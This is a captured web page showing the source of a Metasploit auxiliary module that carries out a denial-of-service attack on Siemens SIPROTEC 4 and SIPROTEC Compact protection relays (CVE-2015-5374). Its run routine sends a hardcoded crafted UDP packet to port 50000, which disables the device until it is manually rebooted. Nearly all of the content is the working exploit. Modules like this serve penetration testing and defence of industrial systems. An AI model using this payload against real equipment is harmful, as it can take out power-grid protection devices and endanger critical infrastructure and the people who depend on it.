Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/scada/siemens_siprotec4.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Udp7include Msf::Auxiliary::Dos8def initialize(info = {})9super(10'Name' => 'Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module - Denial of Service',11'Description' => %q{12This module sends a specially crafted packet to port 50000/UDP13causing a denial of service of the affected (Siemens SIPROTEC 4 and SIPROTEC Compact < V4.25) devices.14A manual reboot is required to return the device to service.15CVE-2015-5374 and a CVSS v2 base score of 7.8 have been assigned to this vulnerability.16},17'Author' => [ 'M. Can Kurnaz' ],18'License' => MSF_LICENSE,19'Version' => '$Revision: 1 $',20'References' =>21[22[ 'CVE' '2015-5374' ],23[ 'EDB', '44103' ],24[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-15-202-01' ]25])26register_options([Opt::RPORT(50000),])27end28def run29connect_udp30pckt = "\x11\x49\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x28\x9e"31print_status('Sending DoS packet...')32udp_sock.put(pckt)33disconnect_udp34end35end36373839